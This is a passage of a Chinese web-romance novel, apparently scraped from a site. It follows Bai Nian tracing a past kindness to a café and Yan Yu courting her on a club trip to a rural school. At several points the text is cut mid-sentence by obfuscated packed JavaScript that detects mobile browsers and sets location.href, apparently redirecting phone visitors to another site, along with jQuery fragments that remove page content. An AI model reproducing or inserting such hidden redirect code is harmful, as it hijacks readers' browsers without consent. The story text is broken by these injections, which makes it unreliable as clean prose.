l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556382|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是他。 他缓慢地抬起手来,接过这份突如其来的惊喜。 白念收回手,快速地拿起鼠标,眼睛不自在地转向屏幕,嘴里解释道:“很早就画好了,本来是想等见面的时候送的,谁知道会出意外……” 严禹终于反应过来,眼睛里满溢温柔笑意:“这是给我的礼物?” 白念这次把头都偏到屏幕上,男生的视线里,她整张脸都被挡了个七七八八,只能听到她的声音:“不是给你,是给……风不语的。” 严禹目光下移,落在画面右下角的落款上,那里有两个小小的字母。 B.N. 他伸出指尖,沿着笔触轻微凹陷的纹理轻轻摩挲了一下。 “好,我替他收下了。” . 白念回到寝室已经是傍晚。 一进门,她就放下背包,埋头开始在书架上翻找,从书群中抽出一本有些陈旧的笔记本,翻到中间,从里面掉出一张字条。 准确来说,是一张白色的便签,因为时间太久的缘故,粘贴的部分已经失去黏性,一碰就从书页夹缝中掉落。 上面是一行钢笔写就的清隽字迹。 收到这张便签的时候,是大半年前的除夕之夜。 彼时她抱着被亲戚小孩弄坏的模型,拖着还没来得及打开的行李箱,从还没有待够十分钟的家中重新离开,将周淑华骂骂咧咧的声音甩在身后,一头扎进了云城的蒙蒙冬雨之中。 无处可去的她买了一张飞回晋城的机票。 飞机落地时已经是下午五点,由南到北,飞越过十几度的温差,空中洋洋洒洒地飘起了雪。 白念拖着行李箱回到学校,第一件事就是抱着模型赶往教学楼的模型室。 “同学,你还没回家过年啊。”教学楼值班的大叔问她。 “……快了,做完模型就回去,”白念边登记边低低地回答,而后接过模型室的钥匙。 这是她自己做的第一个建筑模型,高二时,《万古》推出了游戏场景复刻作品征集活动。她买了第一打材料,第一把刻刀,第一把胶枪……笨拙地复刻了一遍剑尊门派据点——逍遥山庄里的藏剑阁,小心翼翼地搭建起了她稚嫩的建筑梦。 窗外风雪肆虐,借着模型室暖黄的灯光,她小心翼翼地把断离的配件一点点粘回去。 啪嗒—— 一滴眼泪掉到了她正在粘贴的檐角之上,白念盯着这团突如其来的洇湿愣了半晌,做了许久的心理建设突然垮塌,她慢慢蹲到地上,抱着膝盖埋着头小声又隐秘地哭了起来。 然后是被走廊里的手机铃声打断的。 等她打开门出来查看时,空荡的大厅里只残留一点模糊的尾音,然后她就看到横在眼前还冒着热气的牛奶和可颂,以及这张写了字的便签。 【微尘包万象,刹那见终古,形适外无恙,心恬内无忧。祝好。】 前面四句,是万古的宣传语。 “念念,你怎么啦?”菲菲啃着苹果从她身后路过,看她盯着手里的东西出神,喊了她一声。 白念猛然从记忆中抽离,低头看了眼手里的便签,转身笑了笑:“没事。” 她轻轻抚过上面的字迹,转身拿出背包里的笔记本,小心翼翼地把便签夹了进去,放进背包。 今天严禹递过来的那瓶牛奶,唤起了她放在心里很久的记忆。 它们的瓶子一模一样。 她曾经找了许久,但一直不知道出自哪里,瓶身上没有任何信息。 如今,她有迹可循了。 73. 暧昧 关掉导航提示,白念收起手机,抬头看了一眼头顶深棕色的简约招牌,有着和蛋糕上相同的logo:JOMO咖啡厅。 这是他家距离晋城大学最近的一家分店。 推开了咖啡厅的玻璃门,店内服务生亮起职业化的微笑与她打招呼。 “欢迎光临~你好,请问需要来点什么吗?” 夜色将至,这个点店里人不多,白念下午刚吃过他家的东西,不知道该点什么,想了想,干脆把点餐小程序的界面截图到寝室群里。 n:[图片] n:想吃什么?我带回来~ 丁菲菲:你去JOMO啦?!我要吃他家的原味可颂!爱你念宝! 江含卿:我要提拉米苏吧~ 方淇:减肥呜呜呜呜呜T-T 白念笑了下,收起手机:“你好,我要一份原味可颂,一份提拉米苏……还有一瓶热牛奶,带走谢谢。” “好的,请稍等哦。” 女服务生动作很快,将打包好的蛋糕和牛奶放到她面前:“你好,请取餐。” 白念看了眼熟悉的瓶子,开口道:“请问一下,这个瓶子是你们家自己设计的吗?” 女生笑得很甜:“是的,是我们老板自己做的独创款哦~” 白念点点头,踌躇片刻后还是问了出来:“我还想问一下……去年除夕那天晚上,有没有人来你们店里购买过这两个?” 她举了举手里的可颂和牛奶。 女服务生偏着头认真地思考了一下,不好意思地摇摇头:“抱歉呀,时间有些久,我没什么印象了。” 白念摆摆手:“没事,我也是随便问问,麻烦你了。” 本来也没报什么希望的,这种寻找方式和大海捞针也差不多,就算服务生记得又怎么样,谁会知道顾客的名字? 她歉意地冲着服务生笑了下,提起纸袋准备走。 “哎麻烦等一下!”女服务生突然喊住她,笑容满面地递过来一张卡片,“小姐姐,如果你对我们店感兴趣的话,可以注册我们的会员,消费满一定金额可以享受优惠哦~” 白念接过卡片,拎着东西离开,手上袋子拎得有些混乱,她停下来站在门口腾换双手时,顺带看了一眼手中的卡片。 上面有订餐电话和二维码,下面还有一行小字。 【JOMO:Joyofmissingout。接纳错失的快乐~】 白念静静地看了两秒,抬手推开玻璃门,迈步而出,忽而扬起脸会心一笑。 是啊,她非要执着于寻找什么结果呢? 只要她自己一直记得这份未知的善意就好。 身后合起的玻璃门后,后厨有另一个服务生端着东西走了出来,看到自己同事望着门外发愣,用手肘轻轻戳了她一下:“看什么呢?” 女生回过身来,挠了挠头:“没什么,刚才的客人突然问我除夕时候有没有见过谁来买可颂和牛奶……时间这么久,我都记不清了。” 旁边的同事也跟着看了眼门外远去的背影,眨了两下眼睛,突然一拍脑门:“我好像有印象!” 她们两个服务生来自同一个地方,那天雪下得很大,本来店里应该早早打烊放假的,但她们回去的航班停飞了,索性留在店里,连同本地的同事一起,几个人一起热热闹闹过的年,中途她接待了一个客人。 她之所以有印象,一是除夕夜几乎没人来咖啡厅了,她本来想说打烊了,但看到那个男生的脸时,她鬼使神差地说了句欢迎光临……二是那个客人问她借了支笔,掏出随身的便签写了什么东西贴在面包盒子上。 “要不要告诉那个客人一声呀?”她伸长了脖子去看门外。 她的同伴揉了揉脑袋:“算了,我听她的意思,应该不是什么重要的事吧。” . 周四的上午有设计课,白念没有去章以苓的办公室,下课之后跟室友一起往食堂走。 途中手机上有消息提示,她拿起来一看,是万古令上发来的。 【好友】【风不语:下课了吗?】 白念:…… 她是不是忘了告诉他,他已经从黑名单里出来了? 她关了万古令,打开微信,找到严禹的名字,戳开对话框,给他敲字。 n:。 对面回得很快。 严禹:我以为我还在小黑屋。 n:那我给你关回去? 严禹:……不。 n:下课了,有什么事吗? 严禹:想请你吃午饭,东门外有一家椰子鸡还不错。 n:为什么要吃饭? 严禹:嗯……追求者的基本素养? 白念手指轻轻蜷缩了一下,旁边菲菲敏锐地把脸凑过来:“念念,你在憋笑吗?” “咳咳,”白念掩住唇轻轻咳了两下,“没有,风有点大。” ……被忽悠了的菲菲不解地抬头看了一眼风平浪静的天,一时间没想通哪来的风。 白念收回唇角隐秘的笑意,一本正经地敲字回复。 n:我什么时候说要让你追了? 严禹:嗯,我自己决定的,可以追吗? n:那不可以。 严禹:好的,那可以一起吃饭吗? n:抱歉,有约了~ 收起手机,白念揽过“约会对象”丁菲菲的肩膀,拿起餐盘到窗口前排起了长队,轻轻舒了口气。 其实她自己也没想好要怎么面对这件事,理智上她能理解严禹隐瞒真相的行为,但情感上她一时间接受无能。 ——索性把一切交给时间吧。 打完饭找了个位置坐下,刚吃了两口,刚加进去的心理学社群里突然发了条公告。 【@全体成员哈喽亲爱的社团成员们大家好啊!本学期的纳新流程已经结束,为了大家更快更好地上手本社团相关事务,也为了避开期中期末的紧张节点,按照惯例,我们将在开学一个月后的周末,也就是本周末,与音乐社和体育社合作,举行乡村儿童助教联合公益活动~有事不能参加的成员可以请假哦。】 下面紧跟着一条定位,白念点开一看,活动地点在晋城南边的一个小镇上,查了一下,大概有三个小时的车程,她还没回复,就收到一条私信。 江佑:你要参加周末的活动吗?[小狗微笑] n:参加吧,本来也就是为了这个来的。 江佑:唉,我还以为是因为我呢。[小狗哭泣] n:……你这个样子你那些粉丝知道吗? 那天菲菲给她看了论坛上的帖子后,她随手往下翻了番,作为晋大的风云人物,有关严禹的话题占据了相当一部分比例,不过也有很多关于其他人和事的讨论,其中就有江佑。 虽然才大二,他的话题量也不少,那头红色张扬的碎发已经快成了他的标志,再加上讨喜的长相和出色的专业课成绩,吸引了不少关注。 江佑很坦然:知道啊,对喜欢的人主动一点怎么了?[小狗叉腰] 白念叹了口气。 n:我说过我不喜欢你。 江佑还是很坦然:我也知道啊,我喜欢我的,不关你的事。[小狗叉腰] 白念头疼地收起手机。 她有点后悔答应他参加心理学社了,谁知道他能这么锲而不舍呢? 虽然活动在周末,白念还是向章以苓请了个假,保证自己不会耽误项目进度。谁知道章教授压根不在意这个,笑呵呵地大手一挥:“去吧去吧,年轻人就该多去做些有趣的事情,况且还有你师兄呢,做不完的就丢给他搞定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573098|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 白念摸了摸鼻子,悄悄给莫名背上双份任务的某人发了条消息。 n:如果章老师把我的任务丢给你,不用管就好,等我周一回来会自己完成的。 严禹回得也很快:嗯,我周末也有事。 白念放心地收起手机。 ——所以周六一早,她在校门口集合的队伍里看到一派悠然单手插兜、背着吉他倚在树下的严禹时,有点反应不过来。 男生凭借瞩目的身高优势,很快在人群里发现了她,下一秒就直起身来,迈开长腿两步走到她身旁,递过一个袋子,温声道:“给你带了早餐。” “……”白念抬起头来看他,“这就是你说的有事?” “对。”严禹很坦然。 “……你大五了,”白念提醒他,“谁大五还在参加社团活动?” 她用余光都能看到,旁边几十个参加活动的同学眼睛都快在他们俩身上瞪出窟窿了,目光里全是好奇和八卦的意味。 “没有规定说不行。而且……”男生淡淡地笑着,目光沉静地注视着她,“我是来追人的。” ……白念麻木地把脸扭到一边。 严禹看着留给自己的半个后脑勺,轻笑了下,伸手拿过白念肩上鼓鼓囊囊的帆布包:“我帮你拿。” “……不用。”白念伸手就要夺回来,奈何男生比她高出许多,态度自然地把单肩包往自己肩上一挎,和身后的吉他并作一列,扬了扬眉笑道:“这么多东西。” 白念讪讪地收回手:“……沉就还我。” 她提前一天看了许多社团之前的活动日志,生怕自己准备得不够齐全,能带的绘画工具都带上了。 “不沉。”严禹脸上挂着浅笑,又举了举手里的豆浆和奶黄包,“家里做的,没放太多糖,应该不腻,尝尝看?” 白念无奈地扬了扬自己手里刚准备丢的塑料袋:“我刚吃完。” “没事,”严禹神色不变,“我应该提前问你一下的。” 说着就要收回手,白念叹了口气,伸手接过了他手里的奶黄包:“……给我吧,不要浪费。” 她拨开袋子,轻轻咬了一口看起来白嫩绵软的包子,奶黄包的皮很薄,一口就能咬到里面淡黄色的夹心,白念吞到嘴里嚼了两下,然后顿在原地,偏头去看一旁垂着眼睛看她的男生。 “怎么样?”他问。 不知道是不是白念的错觉,他眼里全是温柔和……期待? 她艰难地咽下嘴里的东西,尽量委婉地感叹了一句:“你家阿姨的手艺还挺特别……” 这奶黄包看起来十分正常,但是里面的馅料一言难尽,夹心硬得像石头,嚼起来像温热的橡皮……但她不好意思说。 严禹目光从她的表情转移到她手中的包子,语气突然低了下去:“……很难吃吗?” 心念转圜间,白念脑子里灵光一闪:“不会是你做的吧?” 严禹沉默了。 白念懂了。 她低头看了眼手里的东西,进退维谷,目光复杂。 “……第一次做,没经验,抱歉。”严禹轻咳一了声,伸手拿走她手中的东西,“难吃就别吃了,豆浆应该没问题。” 白念低头喝了口豆浆,果然,这简单的东西还好没有翻车,她真心实意地点了点头:“嗯。” “上车啦上车啦!”远处社长已经在催促大家集合,严禹面无表情地扭头寻找垃圾桶,把手里的东西扔了出去。 白念来不及阻止他的动作,看了眼他的表情,不知道为什么,从他平静无波的脸上看出了一丝五味杂陈。 她拔腿往车旁走去,咬了咬唇压住嘴角的笑,一本正经地压低声音,用只有他们两人才能听到的音量开口。 “其实也没那么难吃。” 74. 旅程 这次参加活动的有三十几个人。除了心理学社的大部分人以外,音乐社和体育社各自来了三五个成员。 大家各自结伴找到座位坐了下来,大巴上没剩几个空位了。 白念跟在严禹身后,排着队上了车,抬头看了一眼,有点儿犯难。 她刚入群没多久,除了不知道为什么还没上车的江佑,跟其他人都不太熟悉,更别说另外两个社团的成员。此刻上了车的同学,彼此认识的大多三三两两坐到了一起。 除了两个并排的位置,其他零零星星有一些落单的空位。 她看了一眼前面正在找座位的严禹。 他正站在两个并排空位的地方,为了避让后面上车的同学,往里面的座位挪了挪,随后举起手臂把吉他和白念的包放到了行李架上,想要出来让白念坐进去靠窗的位置,一名青色短发、铆钉皮质短裙的女生突然往他外面的座位前一站,挡住了他出来的动作。 “学长,你这儿没人吧?”女生爽朗地笑了一下,没等严禹开口说话就大大方方地坐了下来。 “抱歉,这里有——”严禹低下头正要说清楚,站在一旁看了全程的白念突然扭过头去,冲着严禹位置前排一名落单的女生微笑了一下,出声打断了他的话:“你好,请问你旁边有人吗?” 那名安安静静坐着的女生礼貌地摇了摇手,细声细气地笑道:“没有,我是大一的……还不太认识人。” 她坐在过道这一侧,说完话干脆红着耳朵站起身来让白念进去。 “谢谢。”白念挪进去坐下,转过头致谢。 右后方的严禹卡在靠窗的座位里,脑袋被行李架压得半抬不抬,眼神复杂地看了她一眼。 被凝视着的白念感受到头顶后方传来的无声怨念,无辜地挑了挑眉,扭过头冲他浅浅地笑了一下。 “学长你快坐,”那名短发女生催促了严禹一声,看到男生垂眼坐下后,态度熟稔地凑上来聊天,“怎么突然要来参加活动,我们都以为你不在学校呢。” 看来是音乐社的老成员,彼此应该是认识的人。 “嗯,有事。”严禹礼貌而客套地应了一声。 “行吧,”女生点点头,早已习惯了他生人勿近的模样,爽朗地笑了一声,“还以为没有跟你合作的机会了呢。” 严禹指了指头顶的吉他箱,拒绝地很委婉:“我这次不弹钢琴。” 女生干脆利落地捋捋一把自己的短发,毫不在意:“没事啊,吉他也可以合奏。” 严禹盯着前排默不作声的后脑勺,忍了又忍,终究还是忍不住开口:“不好意思,我这次是来追——” “咳咳咳!”白念刚吸了一口豆浆,突然剧烈地咳嗽起来,她旁边的马尾女生瞪大眼睛递过去一张纸,白念感激地接了过去,掩住嘴唇心有余悸地透过玻璃窗看了一眼后排的男生,眼睛里尴尬和警告的意味强烈。 车里不知道何时已经安静了下来,许多同学竖直了耳朵,眼神欲盖弥彰地四处乱瞟。 白念:…… 她可不想接下来的行程被当成被参观的猴子。 严禹沉默了。 “嗯?”他身边的女生好奇地偏过头,“你说什么?” “没什么。” 他靠回了座位,盯着玻璃上清丽的侧影看了半晌,掏出手机。 晋大男寝315微信群。 严禹:起来聊天。 高旭:? 高旭:怎么了呢?虽然您为了陪嫂子,鸽了兄弟早就说好的篮球赛,但兄弟还是得在星期六的早上八点早起陪您唠会儿嗑,充当您二位绝美爱情路上的垫脚石? 白景行:我敬你是条汉子。 严禹:还不是嫂子。 高旭:? 高旭:您要说这个我可就不困了,来,把不高兴的说给兄弟听听,让兄弟们都高兴高兴。 白景行:悄悄+1。 张泽阳:大声+1。 严禹重新收起了手机。 司机在提醒大家系好安全带。 他拉起身侧的金属扣,把它当成高旭,把另一端面无表情地捅了进去。 “念念!” 一道清澈的男声响起,大家不约而同地抬头看过去,率先看到一头醒目的红毛。 江佑终于姗姗来迟。 他一上车就快速扫视了一遍,飞快地锁定了白念所在的位置,三两步跑过来在她们这一排的过道中站定,看白念已经坐了进去,遗憾地抿了下唇角:“我来迟了,本来还想跟你坐一起呢。” 全车好几十双眼睛在江佑和白念身上来来回回,连他们中间隔着的马尾女生也情不自禁往后靠了靠,努力减少自己在中间的遮挡,给江佑留出说话的空间。 一直在努力降低存在感的白念:…… 她虚弱地抬头冲他摆了摆手:“·……你快坐下吧。” 江佑看了一眼白念外侧的马尾女孩,不好意思地捋了下头发,友善地笑着商量道:“同学,可以跟你换个座位吗?前面车门那里靠窗的空位,我想跟——” “不行。” 两道声音异口同声地响起。 被请求换座位的马尾女生一个字没说,扭头看了看自己右侧和右后方同时说话的两个人,迷茫地眨了眨眼睛。 江佑不明所以地看了一眼后排的严禹,这才发现他的存在,诧异地扬了扬眉:“学长?你怎么来了?我记得音乐社的名单上好像没有你。” “有成员临时请假。”严禹神色坦然,淡淡解释了一句。 “哦……”江佑若有所思地点点头,又扭头向白念。 吃瓜群众的目光开始在四个人中间疯狂地来回流转。 眼看着江佑又要冲着自己说话,白念一个头两个大,努力忽略后排某人强烈的存在感,语速飞快地打断了他:“快去坐好吧,要开车了。” 仿佛是为了印证她的话一般,驾驶室的门突然被拉开,一位高高胖胖的司机坐了进来,扯着嗓子大声喊道:“到点儿了,没坐好的快点坐下,系好安全带!” 江佑最后看了一眼马尾女生,她努力抬起眼睛和他对视了一下,紧张地推了推眼镜,腼腆笑了下想要张口。 看她和善的模样,江佑的目光里充满期待,然后便看见她缓缓张口,细弱又小声地缓缓蹦出两个字:“不换。” 江佑:…… “扑哧!”后面的青色短发女孩围观了全程,没忍住笑出声来。 “好的好的,不好意思打扰了。”江佑讪讪地摸了摸脑袋,冲着白念瘪了瘪嘴,回到了唯一的空位上坐下,掏出了手机。 “叮咚。”白念手机消息亮起,她拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616976|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来一看。 江佑:[小狗大哭.jpg] 白念面无表情地收起了手机,扭头看向解决了自己燃眉之急的马尾女生,低声说了句谢谢。 女生耳朵又红了,也跟着压低了声音:“不用,我看你好像不想跟他坐……” 白念轻轻点了点头,笑眼弯弯,女孩多看了她的笑容两眼,随后目光被白念手机界面切歌的动静吸引,突然好奇地问了句:“你在听声音碎片的歌吗?” 白念眼睛亮了亮:“你也喜欢吗?” 马尾女生点点头:“感觉很自由。” 白念拿下一只耳机递给她:“要不要一起听?” 马尾女生揉了揉自己因为社交紧张而红热的耳朵,小心地接了过去:“好呀,谢谢你。” 女孩的友谊有时候来得就是这么隐秘又轻快,两个素不相识的人各自戴上一只耳机,开始静静地享受同一道旋律,仿佛已有许久的默契。 大巴终于出发,三个多小时的车程。白念有些轻微晕车的毛病,她调整好坐姿,伸手调整好头顶的出风口,轻轻倚靠在车窗上,手机又亮了一下。 她低下头去看。 严禹:吃糖吗? n:嗯? 严禹:你往下看。 白念不明所以,就着靠在窗上的动作低下头去,从座椅和窗户的间隙之中伸出一只修长白皙的手掌。 掌心里躺着几颗橙色包装的果糖。 白念透过模糊的窗影向后看了一眼,只能隐约看到对方澄白衬衫的迷蒙倒影,她收回目光,伸手抓走对方掌心里的糖粒。 指尖和温热的掌心相触,她轻轻揉了揉自己的手指,才将掌心摊开伸到旁边的女生面前笑了下:“吃糖吗?” 女生伸手拿走了一颗,白念和她一起撕开轻脆的半透明糖纸,里面是一颗果香浓郁的硬糖,她咬进嘴里。 柠檬味的。 初升的朝阳还不是很刺眼,柔和而青涩地透过玻璃窗抚摸着车内人的发丝,白念轻轻地倚靠在车窗上,迎着温热的阳光,缓缓地闭上眼睛,气息里盈满了柠檬香气。 铺天盖地的占领嗅觉,冲淡了车内若隐若现的机油味道。 “这不是远行而是归程。” “再深入就是荒野了。” “到最后谁都无须名字。” “只有旅途漫长……”[注1] 耳机里正放着诗意的歌,耳机的主人却已经浸入梦境,臂弯里的手机猛地往下一滑,旁边的马尾女孩恰好看见,眼疾手快地接住了白念的手机,刚想抬起头还给她,一张平静的睡颜印入眼帘。 她轻轻把白念的手机放到她身侧。 车轮似乎碾过了什么,车身猛地一阵颠簸,她紧张地下意识去看白念抵在玻璃上的脑袋,果不其然看到她的头被惯性带离车窗,即将要重新重重地砸回去。 她吓了一跳,下意识想去拉她。 车窗后突然伸出一只手掌,稳稳地垫在撞击的缝隙之间,坚硬的撞击消解在他的掌心中,只留下一声轻轻的闷响。 女生瞪大眼睛,扭头越过座椅靠背间隙向后望去,就看见右后方的男生稳稳接住了身旁女生的额头,带着些若有似无的浅淡笑意看着车窗。 像是透过车窗在看前方的倒影。 目光沉静又温柔。 75. 值得 白念是在一阵喧嚣中清醒过来的。 大巴车已经停了下来,车上的人陆陆续续背着包往下走。 白念缓缓睁开眼睛,左边的马尾女生嘴唇微张,正看着她欲言又止,见到白念醒来,明显地松了口气:“你醒啦,我还在犹豫要不要叫你呢。” 白念没料到三个小时的车程硬是被自己一股脑睡过去了,睡得太久一下子没有反应过来,茫然地眨了下眼睛,这才发觉自己是斜倚在车窗上的姿态,侧边触感温热。 ……等等,温热? 白念猛地坐直起来,扭过头去,便看见一只慢慢往回收的手掌,以及手掌主人淡笑的眼睛:“醒了?缓一缓再起来。” “我怎么会,”白念甩了甩头理清自己混乱的语言系统,“不是,你的手怎么会在这里……” “路上有点颠簸,”严禹轻声解释道,“怕你撞到。” 白念下意识去看他的右手。 九月底的晋城,清晨已经有些微凉意,他的手背似乎是在冷风呼啸的窗玻璃上贴得太久,肤色更加冷白,青色的血管变得十分明显。而掌心内侧,纤长的手指上却因为血液回流而泛着明显的红,还有轻微的压痕。 她下意识问了句:“我是不是压了一路?” “没有,就几分钟,”严禹笑着否认,“别担心。” 白念嘴唇微动了动,刚想反驳,身旁的马尾女生就把耳机递了过来:“你的耳机,谢谢呀。” 白念扭头去接耳机,严禹看着她欲言又止的模样,轻轻弯了下唇角,手掌垂了下去,借着座椅靠背的遮挡轻轻活动了一下指关节。 途中白念已经和女生交换了名字,得知她是心理学社的新成员,名叫梁天心,是美术学院的大一新生,又一个被江佑用宣传册忽悠来的单纯孩子。 梁天心个子比较矮,正踮起脚去够行李架上的背包,白念收好随身的东西,干脆利落地站起来:“我帮你。” 她举起手来,一双手比她动作更快地从她头顶后方越过,拿过背包交到梁天心手里,女生感激地小声说了句谢谢。 头顶近在咫尺的呼吸随着严禹的动作逼近又远离,白念轻轻缩了下脑袋,转过头想去拿自己的包,严禹轻轻一提:“走吧。” 白念下意识瞥了一眼梁天心的表情,见她似乎没注意这边,又不好去跟这个自说自话的男生抢包,飞快地与他对视一眼,跟着下了车。 江佑和刚才坐在严禹旁边的短发女生应该是这次活动的组织者,两个人已经跑到前面去集合带队来,白念默默地跟在队伍后面往镇里的小学走。 严禹跟在她左边,安安静静,丝毫不在意队伍里频频回头看他们的眼神。 白念悄悄往右边挪了挪,手臂几乎要贴上梁天心的,面无表情地打开矿泉水瓶喝了一口,试图阻挡大家探究的视线。 旁边沉默寡言的女生突然“扑哧”地轻轻笑了一声。 “怎么了?”白念偏过头去看她。 梁天心用手挡住嘴巴凑近白念的耳畔说悄悄话:“你跟你男朋友在吵架吗?” “咳咳!”白念一口水没咽下去,被惊得呛咳起来,把一左一右的两人吓一跳,纷纷要来给她拍背,白念一看到严禹凑近,猛地跳开,耳朵咳得通红。 “我们不是……”她好不容易顺过气来,无力地解释了一句。 动作落空的严禹收回手,态度自然地接过她的话:“不是什么?” 白念剩下的话猛地噎住,目光复杂地瞪了这个八卦漩涡里的主人公一眼,默默地加快脚步,梁天心迷茫地跟了上去。 留下严禹看着她的背影轻轻笑了一下。 “不好意思啊,”梁天心尴尬地扶了扶眼镜,“刚刚我看到他用手给你垫了一路,还给你背包,我就以为你们是那什么……” 白念快步往前冲的步子猛地顿住:“垫了……一路?” 梁天心点点头:“对呀,从你睡着一直到下车没有松开过,我以为你俩吵架了,他不敢和你说呢。” 白念深吸一口气,转过身去看着缓步向自己走来的男生,他的右手里还提着她沉甸甸的帆布包。 她伸出手去:“我自己背。” 严禹扬了扬眉:“我帮你。” 白念倔劲儿瞬间上来了:“我说给我就给我。” 严禹的视线从一旁意识到自己好像暴露了什么的梁天心脸上划过,转回面前神情严肃地盯着自己右手的白念脸上,轻笑了下,无奈地举起右手摊开在她面前。 “真的没事,你看。” 白念不听,伸手来拿自己的包。 面前的男生突然慢条斯理地弯下腰,视线与她身高平齐,然后声音很轻地在她耳边问了一句:“白念,你是在关心我吗?” 明明声音很小,几乎只有他们两人能听到,但严禹轻飘飘的呼吸和略带笑意的嗓音落在白念耳畔,若有似无地搔刮着她的耳廓,她瞬间头皮发麻。 这道低沉而温柔的声音,无数次在她的耳机里回响。 他就是他。 这个事实深刻又清晰地再次在她的认知上反复碾压。 她垂下眼睛,麻木地去夺男生背后的包,身高差的原因让她避无可避地与他面对面撞了一下,她匆忙拿回东西,闷头跟上梁天心的步伐,再没有说一句话。 严禹直起腰,眼含笑意地放任她逃离,目光落在她发红的耳垂下,被她拿包时碰撞过的胸膛缓慢又用力地起伏两下,深吸一口气压住心头的燥念和。 他缓缓抬腿跟上。 方才坐在他身边的短发女生不知什么时候落到了队伍后面,走到他的身边,冲他打了个响指:“别看了禹神,人家都不好意思了。” 严禹这才收回目光,淡淡地笑了下,并不在意自己的情绪被说穿。 短发女生感慨地“啧”了一声,语气里有些隐秘的羡慕和其他说不明的意味:“没想到啊,有一天还能看到你这个样子。” “你这次是为了她来的吧。”短发女生嚼了两下口香糖,态度自然地开口问道。 “嗯。”严禹也很坦然。 女生轻轻扯了下嘴角,维持住自己快要挂不住的笑意:“难怪刚才在车上任劳任怨地当个人形支架。人家好像也没当回事儿,你何必这么——” 她喉咙哽了哽,还是忍不住脱口而出:“何必这么卑微?” 她比他小一届,几乎是在音乐社和他相处了四年,可她从来不敢暴露自己的心意,毕竟身旁这个人,太远了。 她以为能与他合作已经很好。 直到她今天看见他真正在乎一个人的模样。 严禹毫不介意地笑了下:“不是这么算的。” “嗤,”女生短暂地笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628297|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一声,低下头去,甩开铆钉短裙下小麦色的长腿用力踢了一脚路上的石头,带起一阵萧索的尘灰。 是啊,感情里哪有什么多和少。 “抱歉啊,今天不知情,抢了她的座位。”她继续踢着石子道。 “没事。” “如果我早一点……”她突然不甘地抬起头,看着男生清越的侧脸,有些话脱口而出,“如果我早点跟你表白,你会不会多看我一眼?” 一直目视前方的男生突然回过头来,眼神平静温和,语气却很肯定:“抱歉。” 女生深吸一口气,故作轻松:“我好像问得有点多余哈哈。” “有句话你说错了,”严禹认真地看着她,“不是多看你一眼,只是我们不合适。你很优秀,不要妄自菲薄。” 女生眼眶一酸,随后才扬起笑容,大大方方地拨了下自己飞扬的青色短发:“谢谢夸奖,我也这么觉得。” 前方有人在呼唤领队,女生扬起嗓子应了一声,释然地冲着严禹摆摆手向前跑去。 严禹回过头,前方闷头走路的白念被这边的动静吸引了注意力,回过头看了一眼慢悠悠坠在后面的人,又回过头去。 严禹静静地看着她。 然后就看见她突然停住脚步,在包里翻找了一下,掏出什么东西,又三两步快速地返回来,在他面前站定:“伸手。” 严禹顺从地摊开手掌。 白念把手里预防痛经的暖宝宝轻轻拍在他的手心里,没有忽略他的掌心带着一点轻微的凉意。 “包装已经撕开了,”她没有抬头看他,闷声闷气地盯着他的手道:“贴一下手心,会舒服一些。” “好。”严禹唇角轻轻勾起,狭长的眼尾带起深邃的弧度,指尖回握,攥住了接触空气开始发热的暖贴。 白念转身跟上前面的同伴,脚步却不再像刚才一样火急火燎,悄无声息地慢了下来。 严禹失笑,抬腿跟了上去。 并没有不当回事,不是么? * 快到十二点,活动下午两点开始。一群人匆匆忙忙吃完饭,到镇上的旅店入住,打算休息一会儿。 柜台后的老板娘抬头看了一眼乌泱泱朝气蓬勃的年轻人,亮起嗓门道:“只有标间,两人一间哈!” “大家排队登记一下吧!女生先来。”江佑身高拔群,充当着传声筒的角色,招呼大家按顺序登记入住。 白念偏过头去:“天心,我们俩住一间可以吗?” 社恐人士小梁点头如捣蒜:“好!” 短短三个小时,她已经成功脱敏,从对着白念说话会脸红进化到抓着她的手当救命稻草,两人理所当然地住到一起。 剩下十八个男生,组队的时候却犯了难。 作为团队里唯一一个大五的学长,严禹生人勿近的高冷气质成功劝退了一票学弟,大家各自匆匆忙忙组了队,光溜溜地把他剩在了最后。 白念看了眼还在一旁帮忙的另一个落单分子江佑,默了一下。 但愿他刚才在车上没听清严禹那句“不行”。 帮完忙的江佑走过来,看了眼白念盯着他的眼神,又转过头去看落单的严禹,突然笑了一下:“学长,你不介意跟我一起住吧?” 严禹看了一眼他笑起来就外露的虎牙,收回目光递上身份证:“不介意。” 76. 